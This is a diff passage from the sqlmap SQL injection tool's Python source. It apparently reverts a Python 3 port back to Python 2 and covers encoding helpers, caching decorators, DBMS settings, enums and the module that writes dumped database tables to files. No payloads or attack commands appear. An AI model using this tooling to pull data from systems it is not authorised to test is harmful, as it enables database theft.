|
||||
|
||||
return [_ if isinstance(_, int) else ord(_) for _ in value]
|
||||
|
||||
def getUnicode(value, encoding=None, noneToNull=False):
|
||||
"""
|
||||
Return the unicode representation of the supplied value:
|
||||
|
||||
>>> getUnicode('test') == u'test'
|
||||
True
|
||||
>>> getUnicode(1) == u'1'
|
||||
True
|
||||
"""
|
||||
|
||||
if noneToNull and value is None:
|
||||
return NULL
|
||||
|
||||
if isinstance(value, six.text_type):
|
||||
return value
|
||||
elif isinstance(value, six.binary_type):
|
||||
# Heuristics (if encoding not explicitly specified)
|
||||
candidates = filterNone((encoding, kb.get("pageEncoding") if kb.get("originalPage") else None, conf.get("encoding"), UNICODE_ENCODING, sys.getfilesystemencoding()))
|
||||
if all(_ in value for _ in (b'<', b'>')):
|
||||
pass
|
||||
elif any(_ in value for _ in (b":\\", b'/', b'.')) and b'\n' not in value:
|
||||
candidates = filterNone((encoding, sys.getfilesystemencoding(), kb.get("pageEncoding") if kb.get("originalPage") else None, UNICODE_ENCODING, conf.get("encoding")))
|
||||
elif conf.get("encoding") and b'\n' not in value:
|
||||
candidates = filterNone((encoding, conf.get("encoding"), kb.get("pageEncoding") if kb.get("originalPage") else None, sys.getfilesystemencoding(), UNICODE_ENCODING))
|
||||
|
||||
for candidate in candidates:
|
||||
try:
|
||||
return six.text_type(value, candidate)
|
||||
except UnicodeDecodeError:
|
||||
pass
|
||||
|
||||
try:
|
||||
return six.text_type(value, encoding or (kb.get("pageEncoding") if kb.get("originalPage") else None) or UNICODE_ENCODING)
|
||||
except UnicodeDecodeError:
|
||||
return six.text_type(value, UNICODE_ENCODING, errors="reversible")
|
||||
elif isListLike(value):
|
||||
value = list(getUnicode(_, encoding, noneToNull) for _ in value)
|
||||
return value
|
||||
else:
|
||||
try:
|
||||
return six.text_type(value)
|
||||
except UnicodeDecodeError:
|
||||
return six.text_type(str(value), errors="ignore") # encoding ignored for non-basestring instances
|
||||
|
||||
def getText(value):
|
||||
"""
|
||||
Returns textual value of a given value (Note: not necessary Unicode on Python2)
|
||||
|
||||
>>> getText(b"foobar")
|
||||
'foobar'
|
||||
>>> isinstance(getText(u"fo\\u2299bar"), six.text_type)
|
||||
True
|
||||
"""
|
||||
|
||||
retVal = value
|
||||
|
||||
if isinstance(value, six.binary_type):
|
||||
retVal = getUnicode(value)
|
||||
|
||||
if six.PY2:
|
||||
try:
|
||||
retVal = str(retVal)
|
||||
except:
|
||||
pass
|
||||
|
||||
return retVal
|
||||
|
||||
def stdoutEncode(value):
|
||||
"""
|
||||
Returns binary representation of a given Unicode value safe for writing to stdout
|
||||
"""
|
||||
|
||||
value = value or ""
|
||||
|
||||
if IS_WIN and IS_TTY and kb.get("codePage", -1) is None:
|
||||
output = shellExec("chcp")
|
||||
match = re.search(r": (\d{3,})", output or "")
|
||||
|
||||
if match:
|
||||
try:
|
||||
candidate = "cp%s" % match.group(1)
|
||||
codecs.lookup(candidate)
|
||||
except LookupError:
|
||||
pass
|
||||
else:
|
||||
kb.codePage = candidate
|
||||
|
||||
kb.codePage = kb.codePage or ""
|
||||
|
||||
if isinstance(value, six.text_type):
|
||||
encoding = kb.get("codePage") or sys.stdout.encoding or UNICODE_ENCODING
|
||||
|
||||
while True:
|
||||
try:
|
||||
retVal = value.encode(encoding)
|
||||
break
|
||||
except UnicodeEncodeError as ex:
|
||||
value = value[:ex.start] + "?" * (ex.end - ex.start) + value[ex.end:]
|
||||
|
||||
warnMsg = "cannot properly display (some) Unicode characters "
|
||||
warnMsg += "inside your terminal ('%s') environment. All " % encoding
|
||||
warnMsg += "unhandled occurrences will result in "
|
||||
warnMsg += "replacement with '?' character. Please, find "
|
||||
warnMsg += "proper character representation inside "
|
||||
warnMsg += "corresponding output files"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
||||
if six.PY3:
|
||||
retVal = getUnicode(retVal, encoding)
|
||||
|
||||
else:
|
||||
retVal = value
|
||||
|
||||
return retVal
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,19 +1,17 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import collections
|
||||
import copy
|
||||
import types
|
||||
|
||||
from thirdparty.odict import OrderedDict
|
||||
|
||||
class AttribDict(dict):
|
||||
"""
|
||||
This class defines the dictionary with added capability to access members as attributes
|
||||
This class defines the sqlmap object, inheriting from Python data
|
||||
type dictionary.
|
||||
|
||||
>>> foo = AttribDict()
|
||||
>>> foo.bar = 1
|
||||
@@ -106,123 +104,3 @@ class InjectionDict(AttribDict):
|
||||
self.dbms = None
|
||||
self.dbms_version = None
|
||||
self.os = None
|
||||
|
||||
# Reference: https://www.kunxi.org/2014/05/lru-cache-in-python
|
||||
class LRUDict(object):
|
||||
"""
|
||||
This class defines the LRU dictionary
|
||||
|
||||
>>> foo = LRUDict(capacity=2)
|
||||
>>> foo["first"] = 1
|
||||
>>> foo["second"] = 2
|
||||
>>> foo["third"] = 3
|
||||
>>> "first" in foo
|
||||
False
|
||||
>>> "third" in foo
|
||||
True
|
||||
"""
|
||||
|
||||
def __init__(self, capacity):
|
||||
self.capacity = capacity
|
||||
self.cache = OrderedDict()
|
||||
|
||||
def __len__(self):
|
||||
return len(self.cache)
|
||||
|
||||
def __contains__(self, key):
|
||||
return key in self.cache
|
||||
|
||||
def __getitem__(self, key):
|
||||
value = self.cache.pop(key)
|
||||
self.cache[key] = value
|
||||
return value
|
||||
|
||||
def get(self, key):
|
||||
return self.__getitem__(key)
|
||||
|
||||
def __setitem__(self, key, value):
|
||||
try:
|
||||
self.cache.pop(key)
|
||||
except KeyError:
|
||||
if len(self.cache) >= self.capacity:
|
||||
self.cache.popitem(last=False)
|
||||
self.cache[key] = value
|
||||
|
||||
def set(self, key, value):
|
||||
self.__setitem__(key, value)
|
||||
|
||||
def keys(self):
|
||||
return self.cache.keys()
|
||||
|
||||
# Reference: https://code.activestate.com/recipes/576694/
|
||||
class OrderedSet(collections.MutableSet):
|
||||
"""
|
||||
This class defines the set with ordered (as added) items
|
||||
|
||||
>>> foo = OrderedSet()
|
||||
>>> foo.add(1)
|
||||
>>> foo.add(2)
|
||||
>>> foo.add(3)
|
||||
>>> foo.pop()
|
||||
3
|
||||
>>> foo.pop()
|
||||
2
|
||||
>>> foo.pop()
|
||||
1
|
||||
"""
|
||||
|
||||
def __init__(self, iterable=None):
|
||||
self.end = end = []
|
||||
end += [None, end, end] # sentinel node for doubly linked list
|
||||
self.map = {} # key --> [key, prev, next]
|
||||
if iterable is not None:
|
||||
self |= iterable
|
||||
|
||||
def __len__(self):
|
||||
return len(self.map)
|
||||
|
||||
def __contains__(self, key):
|
||||
return key in self.map
|
||||
|
||||
def add(self, value):
|
||||
if value not in self.map:
|
||||
end = self.end
|
||||
curr = end[1]
|
||||
curr[2] = end[1] = self.map[value] = [value, curr, end]
|
||||
|
||||
def discard(self, value):
|
||||
if value in self.map:
|
||||
value, prev, next = self.map.pop(value)
|
||||
prev[2] = next
|
||||
next[1] = prev
|
||||
|
||||
def __iter__(self):
|
||||
end = self.end
|
||||
curr = end[2]
|
||||
while curr is not end:
|
||||
yield curr[0]
|
||||
curr = curr[2]
|
||||
|
||||
def __reversed__(self):
|
||||
end = self.end
|
||||
curr = end[1]
|
||||
while curr is not end:
|
||||
yield curr[0]
|
||||
curr = curr[1]
|
||||
|
||||
def pop(self, last=True):
|
||||
if not self:
|
||||
raise KeyError('set is empty')
|
||||
key = self.end[1][0] if last else self.end[2][0]
|
||||
self.discard(key)
|
||||
return key
|
||||
|
||||
def __repr__(self):
|
||||
if not self:
|
||||
return '%s()' % (self.__class__.__name__,)
|
||||
return '%s(%r)' % (self.__class__.__name__, list(self))
|
||||
|
||||
def __eq__(self, other):
|
||||
if isinstance(other, OrderedSet):
|
||||
return len(self) == len(other) and list(self) == list(other)
|
||||
return set(self) == set(other)
|
||||
|
||||
@@ -1,68 +1,31 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import functools
|
||||
import hashlib
|
||||
import threading
|
||||
|
||||
from lib.core.settings import MAX_CACHE_ITEMS
|
||||
from lib.core.settings import UNICODE_ENCODING
|
||||
from lib.core.datatype import LRUDict
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
|
||||
_lock = threading.Lock()
|
||||
|
||||
def cachedmethod(f, cache=LRUDict(capacity=MAX_CACHE_ITEMS)):
|
||||
def cachedmethod(f, cache={}):
|
||||
"""
|
||||
Method with a cached content
|
||||
|
||||
>>> __ = cachedmethod(lambda _: _)
|
||||
>>> __(1)
|
||||
1
|
||||
>>> __ = cachedmethod(lambda *args, **kwargs: args[0])
|
||||
>>> __(2)
|
||||
2
|
||||
>>> __ = cachedmethod(lambda *args, **kwargs: list(kwargs.values())[0])
|
||||
>>> __(foobar=3)
|
||||
3
|
||||
|
||||
Reference: http://code.activestate.com/recipes/325205-cache-decorator-in-python-24/
|
||||
"""
|
||||
|
||||
@functools.wraps(f)
|
||||
def _(*args, **kwargs):
|
||||
key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff
|
||||
key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs))).hexdigest(), 16) & 0x7fffffffffffffff
|
||||
if key not in cache:
|
||||
cache[key] = f(*args, **kwargs)
|
||||
|
||||
try:
|
||||
with _lock:
|
||||
result = cache[key]
|
||||
except KeyError:
|
||||
result = f(*args, **kwargs)
|
||||
|
||||
with _lock:
|
||||
cache[key] = result
|
||||
|
||||
return result
|
||||
return cache[key]
|
||||
|
||||
return _
|
||||
|
||||
def stackedmethod(f):
|
||||
"""
|
||||
Method using pushValue/popValue functions (fallback function for stack realignment)
|
||||
|
||||
>>> threadData = getCurrentThreadData()
|
||||
>>> original = len(threadData.valueStack)
|
||||
>>> __ = stackedmethod(lambda _: threadData.valueStack.append(_))
|
||||
>>> __(1)
|
||||
>>> len(threadData.valueStack) == original
|
||||
True
|
||||
"""
|
||||
|
||||
@functools.wraps(f)
|
||||
def _(*args, **kwargs):
|
||||
threadData = getCurrentThreadData()
|
||||
originalLevel = len(threadData.valueStack)
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
@@ -22,7 +22,6 @@ from lib.core.settings import MAXDB_ALIASES
|
||||
from lib.core.settings import SYBASE_ALIASES
|
||||
from lib.core.settings import DB2_ALIASES
|
||||
from lib.core.settings import HSQLDB_ALIASES
|
||||
from lib.core.settings import H2_ALIASES
|
||||
from lib.core.settings import INFORMIX_ALIASES
|
||||
|
||||
FIREBIRD_TYPES = {
|
||||
@@ -196,7 +195,6 @@ DBMS_DICT = {
|
||||
DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "sybase"),
|
||||
DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
|
||||
DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
|
||||
DBMS.H2: (H2_ALIASES, None, None, None),
|
||||
DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
|
||||
}
|
||||
|
||||
@@ -280,7 +278,7 @@ POST_HINT_CONTENT_TYPES = {
|
||||
POST_HINT.ARRAY_LIKE: "application/x-www-form-urlencoded; charset=utf-8",
|
||||
}
|
||||
|
||||
OBSOLETE_OPTIONS = {
|
||||
DEPRECATED_OPTIONS = {
|
||||
"--replicate": "use '--dump-format=SQLITE' instead",
|
||||
"--no-unescape": "use '--no-escape' instead",
|
||||
"--binary": "use '--binary-fields' instead",
|
||||
@@ -290,7 +288,6 @@ OBSOLETE_OPTIONS = {
|
||||
"--purge-output": "use '--purge' instead",
|
||||
"--check-payload": None,
|
||||
"--check-waf": None,
|
||||
"--identify-waf": "functionality being done automatically",
|
||||
"--pickled-options": "use '--api -c ...' instead",
|
||||
}
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
@@ -18,18 +18,15 @@ from lib.core.common import checkFile
|
||||
from lib.core.common import dataToDumpFile
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.common import getUnicode
|
||||
from lib.core.common import isListLike
|
||||
from lib.core.common import isMultiThreadMode
|
||||
from lib.core.common import normalizeUnicode
|
||||
from lib.core.common import openFile
|
||||
from lib.core.common import prioritySortColumns
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import safeCSValue
|
||||
from lib.core.common import unicodeencode
|
||||
from lib.core.common import unsafeSQLIdentificatorNaming
|
||||
from lib.core.compat import xrange
|
||||
from lib.core.convert import getBytes
|
||||
from lib.core.convert import getText
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
@@ -52,7 +49,6 @@ from lib.core.settings import UNICODE_ENCODING
|
||||
from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT
|
||||
from lib.core.settings import VERSION_STRING
|
||||
from lib.core.settings import WINDOWS_RESERVED_NAMES
|
||||
from thirdparty import six
|
||||
from thirdparty.magic import magic
|
||||
|
||||
from extra.safe2bin.safe2bin import safechardecode
|
||||
@@ -78,17 +74,16 @@ class Dump(object):
|
||||
if console:
|
||||
dataToStdout(text)
|
||||
|
||||
multiThreadMode = isMultiThreadMode()
|
||||
if multiThreadMode:
|
||||
if kb.get("multiThreadMode"):
|
||||
self._lock.acquire()
|
||||
|
||||
try:
|
||||
self._outputFP.write(text)
|
||||
except IOError as ex:
|
||||
except IOError, ex:
|
||||
errMsg = "error occurred while writing to log file ('%s')" % getSafeExString(ex)
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
if multiThreadMode:
|
||||
if kb.get("multiThreadMode"):
|
||||
self._lock.release()
|
||||
|
||||
kb.dataOutputFlag = True
|
||||
@@ -104,7 +99,7 @@ class Dump(object):
|
||||
self._outputFile = os.path.join(conf.outputPath, "log")
|
||||
try:
|
||||
self._outputFP = openFile(self._outputFile, "ab" if not conf.flushSession else "wb")
|
||||
except IOError as ex:
|
||||
except IOError, ex:
|
||||
errMsg = "error occurred while opening log file ('%s')" % getSafeExString(ex)
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
@@ -115,6 +110,8 @@ class Dump(object):
|
||||
self._write(data, content_type=content_type)
|
||||
|
||||
def string(self, header, data, content_type=None, sort=True):
|
||||
kb.stickyLevel = None
|
||||
|
||||
if conf.api:
|
||||
self._write(data, content_type=content_type)
|
||||
return
|
||||
@@ -136,7 +133,7 @@ class Dump(object):
|
||||
if "\n" in _:
|
||||
self._write("%s:\n---\n%s\n---" % (header, _))
|
||||
else:
|
||||
self._write("%s: %s" % (header, ("'%s'" % _) if isinstance(data, six.string_types) else _))
|
||||
self._write("%s: %s" % (header, ("'%s'" % _) if isinstance(data, basestring) else _))
|
||||
else:
|
||||
self._write("%s:\tNone" % header)
|
||||
|
||||
@@ -145,7 +142,7 @@ class Dump(object):
|
||||
try:
|
||||
elements = set(elements)
|
||||
elements = list(elements)
|
||||
elements.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _)
|
||||
elements.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _)
|
||||
except:
|
||||
pass
|
||||
|
||||
@@ -157,7 +154,7 @@ class Dump(object):
|
||||
self._write("%s [%d]:" % (header, len(elements)))
|
||||
|
||||
for element in elements:
|
||||
if isinstance(element, six.string_types):
|
||||
if isinstance(element, basestring):
|
||||
self._write("[*] %s" % element)
|
||||
elif isListLike(element):
|
||||
self._write("[*] " + ", ".join(getUnicode(e) for e in element))
|
||||
@@ -174,7 +171,7 @@ class Dump(object):
|
||||
def currentDb(self, data):
|
||||
if Backend.isDbms(DBMS.MAXDB):
|
||||
self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB):
|
||||
self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
|
||||
else:
|
||||
self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB)
|
||||
@@ -188,9 +185,6 @@ class Dump(object):
|
||||
def users(self, users):
|
||||
self.lister("database management system users", users, content_type=CONTENT_TYPE.USERS)
|
||||
|
||||
def statements(self, statements):
|
||||
self.lister("SQL statements", statements, content_type=CONTENT_TYPE.STATEMENTS)
|
||||
|
||||
def userSettings(self, header, userSettings, subHeader, content_type=None):
|
||||
self._areAdmins = set()
|
||||
|
||||
@@ -198,8 +192,8 @@ class Dump(object):
|
||||
self._areAdmins = userSettings[1]
|
||||
userSettings = userSettings[0]
|
||||
|
||||
users = list(userSettings.keys())
|
||||
users.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _)
|
||||
users = userSettings.keys()
|
||||
users.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _)
|
||||
|
||||
if conf.api:
|
||||
self._write(userSettings, content_type=content_type)
|
||||
@@ -246,7 +240,7 @@ class Dump(object):
|
||||
if table and isListLike(table):
|
||||
table = table[0]
|
||||
|
||||
maxlength = max(maxlength, len(unsafeSQLIdentificatorNaming(normalizeUnicode(table) or getUnicode(table))))
|
||||
maxlength = max(maxlength, len(unsafeSQLIdentificatorNaming(normalizeUnicode(table) or unicode(table))))
|
||||
|
||||
lines = "-" * (int(maxlength) + 2)
|
||||
|
||||
@@ -267,7 +261,7 @@ class Dump(object):
|
||||
table = table[0]
|
||||
|
||||
table = unsafeSQLIdentificatorNaming(table)
|
||||
blank = " " * (maxlength - len(normalizeUnicode(table) or getUnicode(table)))
|
||||
blank = " " * (maxlength - len(normalizeUnicode(table) or unicode(table)))
|
||||
self._write("| %s%s |" % (table, blank))
|
||||
|
||||
self._write("+%s+\n" % lines)
|
||||
@@ -292,8 +286,8 @@ class Dump(object):
|
||||
|
||||
colType = None
|
||||
|
||||
colList = list(columns.keys())
|
||||
colList.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _)
|
||||
colList = columns.keys()
|
||||
colList.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _)
|
||||
|
||||
for column in colList:
|
||||
colType = columns[column]
|
||||
@@ -362,7 +356,7 @@ class Dump(object):
|
||||
for ctables in dbTables.values():
|
||||
for tables in ctables.values():
|
||||
for table in tables:
|
||||
maxlength1 = max(maxlength1, len(normalizeUnicode(table) or getUnicode(table)))
|
||||
maxlength1 = max(maxlength1, len(normalizeUnicode(table) or unicode(table)))
|
||||
|
||||
for db, counts in dbTables.items():
|
||||
self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db else "Current database")
|
||||
@@ -376,7 +370,7 @@ class Dump(object):
|
||||
self._write("| Table%s | Entries%s |" % (blank1, blank2))
|
||||
self._write("+%s+%s+" % (lines1, lines2))
|
||||
|
||||
sortedCounts = list(counts.keys())
|
||||
sortedCounts = counts.keys()
|
||||
sortedCounts.sort(reverse=True)
|
||||
|
||||
for count in sortedCounts:
|
||||
@@ -385,10 +379,10 @@ class Dump(object):
|
||||
if count is None:
|
||||
count = "Unknown"
|
||||
|
||||
tables.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _)
|
||||
tables.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _)
|
||||
|
||||
for table in tables:
|
||||
blank1 = " " * (maxlength1 - len(normalizeUnicode(table) or getUnicode(table)))
|
||||
blank1 = " " * (maxlength1 - len(normalizeUnicode(table) or unicode(table)))
|
||||
blank2 = " " * (maxlength2 - len(str(count)))
|
||||
self._write("| %s%s | %d%s |" % (table, blank1, count, blank2))
|
||||
|
||||
@@ -426,14 +420,22 @@ class Dump(object):
|
||||
except:
|
||||
warnFile = True
|
||||
|
||||
_ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db))
|
||||
dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (_, hashlib.md5(getBytes(db)).hexdigest()[:8]))
|
||||
_ = unicodeencode(re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db)))
|
||||
dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (_, hashlib.md5(unicodeencode(db)).hexdigest()[:8]))
|
||||
|
||||
if not os.path.isdir(dumpDbPath):
|
||||
try:
|
||||
os.makedirs(dumpDbPath)
|
||||
except Exception as ex:
|
||||
tempDir = tempfile.mkdtemp(prefix="sqlmapdb")
|
||||
except Exception, ex:
|
||||
try:
|
||||
tempDir = tempfile.mkdtemp(prefix="sqlmapdb")
|
||||
except IOError, _:
|
||||
errMsg = "unable to write to the temporary directory ('%s'). " % _
|
||||
errMsg += "Please make sure that your disk is not full and "
|
||||
errMsg += "that you have sufficient write permissions to "
|
||||
errMsg += "create temporary files and/or directories"
|
||||
raise SqlmapSystemException(errMsg)
|
||||
|
||||
warnMsg = "unable to create dump directory "
|
||||
warnMsg += "'%s' (%s). " % (dumpDbPath, getSafeExString(ex))
|
||||
warnMsg += "Using temporary directory '%s' instead" % tempDir
|
||||
@@ -452,8 +454,8 @@ class Dump(object):
|
||||
|
||||
_ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(table)))
|
||||
if len(_) < len(table) or IS_WIN and table.upper() in WINDOWS_RESERVED_NAMES:
|
||||
_ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table))
|
||||
dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(getBytes(table)).hexdigest()[:8], conf.dumpFormat.lower()))
|
||||
_ = unicodeencode(re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table)))
|
||||
dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(unicodeencode(table)).hexdigest()[:8], conf.dumpFormat.lower()))
|
||||
else:
|
||||
dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower()))
|
||||
else:
|
||||
@@ -468,7 +470,8 @@ class Dump(object):
|
||||
shutil.copyfile(dumpFileName, candidate)
|
||||
except IOError:
|
||||
pass
|
||||
break
|
||||
finally:
|
||||
break
|
||||
else:
|
||||
count += 1
|
||||
|
||||
@@ -479,7 +482,7 @@ class Dump(object):
|
||||
field = 1
|
||||
fields = len(tableValues) - 1
|
||||
|
||||
columns = prioritySortColumns(list(tableValues.keys()))
|
||||
columns = prioritySortColumns(tableValues.keys())
|
||||
|
||||
if conf.col:
|
||||
cols = conf.col.split(',')
|
||||
@@ -559,7 +562,7 @@ class Dump(object):
|
||||
else:
|
||||
dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel))
|
||||
elif conf.dumpFormat == DUMP_FORMAT.HTML:
|
||||
dataToDumpFile(dumpFP, "<th>%s</th>" % getUnicode(cgi.escape(column).encode("ascii", "xmlcharrefreplace")))
|
||||
dataToDumpFile(dumpFP, "<th>%s</th>" % cgi.escape(column).encode("ascii", "xmlcharrefreplace"))
|
||||
|
||||
field += 1
|
||||
|
||||
@@ -608,7 +611,7 @@ class Dump(object):
|
||||
|
||||
if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value:
|
||||
try:
|
||||
mimetype = getText(magic.from_buffer(value, mime=True))
|
||||
mimetype = magic.from_buffer(value, mime=True)
|
||||
if any(mimetype.startswith(_) for _ in ("application", "image")):
|
||||
if not os.path.isdir(dumpDbPath):
|
||||
os.makedirs(dumpDbPath)
|
||||
@@ -621,8 +624,8 @@ class Dump(object):
|
||||
with open(filepath, "wb") as f:
|
||||
_ = safechardecode(value, True)
|
||||
f.write(_)
|
||||
except magic.MagicException as ex:
|
||||
logger.debug(getSafeExString(ex))
|
||||
except magic.MagicException, err:
|
||||
logger.debug(str(err))
|
||||
|
||||
if conf.dumpFormat == DUMP_FORMAT.CSV:
|
||||
if field == fields:
|
||||
@@ -630,7 +633,7 @@ class Dump(object):
|
||||
else:
|
||||
dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel))
|
||||
elif conf.dumpFormat == DUMP_FORMAT.HTML:
|
||||
dataToDumpFile(dumpFP, "<td>%s</td>" % getUnicode(cgi.escape(value).encode("ascii", "xmlcharrefreplace")))
|
||||
dataToDumpFile(dumpFP, "<td>%s</td>" % cgi.escape(value).encode("ascii", "xmlcharrefreplace"))
|
||||
|
||||
field += 1
|
||||
|
||||
@@ -699,7 +702,7 @@ class Dump(object):
|
||||
|
||||
self.dbTableColumns(_)
|
||||
|
||||
def sqlQuery(self, query, queryRes):
|
||||
def query(self, query, queryRes):
|
||||
self.string(query, queryRes, content_type=CONTENT_TYPE.SQL_QUERY)
|
||||
|
||||
def rFile(self, fileData):
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
class PRIORITY(object):
|
||||
class PRIORITY:
|
||||
LOWEST = -100
|
||||
LOWER = -50
|
||||
LOW = -10
|
||||
@@ -14,7 +14,7 @@ class PRIORITY(object):
|
||||
HIGHER = 50
|
||||
HIGHEST = 100
|
||||
|
||||
class SORT_ORDER(object):
|
||||
class SORT_ORDER:
|
||||
FIRST = 0
|
||||
SECOND = 1
|
||||
THIRD = 2
|
||||
@@ -23,7 +23,7 @@ class SORT_ORDER(object):
|
||||
LAST = 100
|
||||
|
||||
# Reference: https://docs.python.org/2/library/logging.html#logging-levels
|
||||
class LOGGING_LEVELS(object):
|
||||
class LOGGING_LEVELS:
|
||||
NOTSET = 0
|
||||
DEBUG = 10
|
||||
INFO = 20
|
||||
@@ -31,7 +31,7 @@ class LOGGING_LEVELS(object):
|
||||
ERROR = 40
|
||||
CRITICAL = 50
|
||||
|
||||
class DBMS(object):
|
||||
class DBMS:
|
||||
ACCESS = "Microsoft Access"
|
||||
DB2 = "IBM DB2"
|
||||
FIREBIRD = "Firebird"
|
||||
@@ -43,10 +43,9 @@ class DBMS(object):
|
||||
SQLITE = "SQLite"
|
||||
SYBASE = "Sybase"
|
||||
HSQLDB = "HSQLDB"
|
||||
H2 = "H2"
|
||||
INFORMIX = "Informix"
|
||||
|
||||
class DBMS_DIRECTORY_NAME(object):
|
||||
class DBMS_DIRECTORY_NAME:
|
||||
ACCESS = "access"
|
||||
DB2 = "db2"
|
||||
FIREBIRD = "firebird"
|
||||
@@ -58,19 +57,18 @@ class DBMS_DIRECTORY_NAME(object):
|
||||
SQLITE = "sqlite"
|
||||
SYBASE = "sybase"
|
||||
HSQLDB = "hsqldb"
|
||||
H2 = "h2"
|
||||
INFORMIX = "informix"
|
||||
|
||||
class CUSTOM_LOGGING(object):
|
||||
class CUSTOM_LOGGING:
|
||||
PAYLOAD = 9
|
||||
TRAFFIC_OUT = 8
|
||||
TRAFFIC_IN = 7
|
||||
|
||||
class OS(object):
|
||||
class OS:
|
||||
LINUX = "Linux"
|
||||
WINDOWS = "Windows"
|
||||
|
||||
class PLACE(object):
|
||||
class PLACE:
|
||||
GET = "GET"
|
||||
POST = "POST"
|
||||
URI = "URI"
|
||||
@@ -81,7 +79,7 @@ class PLACE(object):
|
||||
CUSTOM_POST = "(custom) POST"
|
||||
CUSTOM_HEADER = "(custom) HEADER"
|
||||
|
||||
class POST_HINT(object):
|
||||
class POST_HINT:
|
||||
